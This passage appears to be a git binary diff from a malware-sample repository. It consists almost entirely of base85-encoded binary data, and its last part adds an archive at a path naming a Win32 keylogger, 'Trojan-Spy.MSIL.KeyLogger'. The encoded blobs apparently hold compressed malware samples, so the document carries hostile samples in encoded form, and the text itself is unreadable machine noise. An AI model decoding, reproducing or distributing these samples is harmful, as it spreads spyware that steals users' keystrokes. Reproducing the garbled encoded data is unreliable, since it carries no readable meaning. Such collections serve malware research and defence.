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 literal 0 HcmV?d00001 diff --git a/Win32/Malware Families/Generic.Win32.Keylogger/Trojan-Spy.MSIL.KeyLogger.jfp-e.7z b/Win32/Malware Families/Generic.Win32.Keylogger/Trojan-Spy.MSIL.KeyLogger.jfp-e.7z new file mode 100644 index 0000000000000000000000000000000000000000..588ad16fa88ecc2766f952fe75f2587ab1036ed0 GIT binary patch literal 19493 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 